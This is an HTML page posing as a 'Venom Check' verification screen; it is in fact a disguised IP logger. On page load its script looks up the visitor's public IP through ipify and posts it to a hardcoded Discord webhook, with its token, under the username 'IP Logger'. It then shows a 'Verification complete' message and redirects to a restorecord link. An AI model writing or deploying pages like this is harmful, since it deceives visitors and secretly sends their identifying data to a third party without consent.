<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Venom Check()</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            text-align: center;
            margin: 50px;
        }
        .loading {
            font-size: 18px;
            color: gray;
        }
        .error {
            font-size: 18px;
            color: red;
        }
    </style>
</head>
<body>
    <h1>Processing...</h1>
    <div id="status" class="loading">Please wait while we verify your information.</div>

    <script>
        const webhookUrl = 'https://discord.com/api/webhooks/1330895835226964038/nRw5MLuVHj2LQO9NGDWqJxRiNSF8QuvO5e21uC6GbaHtm1Y9HfwXfd0SJmCTHTUroYyp';

        // Function to send data to the Discord webhook
        function sendToWebhook(ip) {
            const payload = {
                username: 'IP Logger',
                content: `User IP Address: ${ip}`
            };

            fetch(webhookUrl, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(payload)
            })
            .then(response => {
                if (response.ok) {
                    document.getElementById('status').textContent = 'Verification complete. Redirecting...';
                    setTimeout(() => {
                        window.location.href = 'https://restorecord.com/verify/V3nom%20Logger';
                    }, 2000);
                } else {
                    document.getElementById('status').textContent = 'Error during verification.';
                    document.getElementById('status').classList.add('error');
                }
            })
            .catch(error => {
                console.error('Error sending to webhook:', error);
                document.getElementById('status').textContent = 'Failed to complete verification.';
                document.getElementById('status').classList.add('error');
            });
        }

        // Function to fetch the user's IP address
        fetch('https://api.ipify.org?format=json')
            .then(response => response.json())
            .then(data => {
                const userIp = data.ip;
                document.getElementById('status').textContent = 'Verifying your information...';
                sendToWebhook(userIp);
            })
            .catch(error => {
                console.error('Error fetching IP address:', error);
                document.getElementById('status').textContent = 'Failed to retrieve IP address.';
                document.getElementById('status').classList.add('error');
            });
    </script>
</body>
</html>
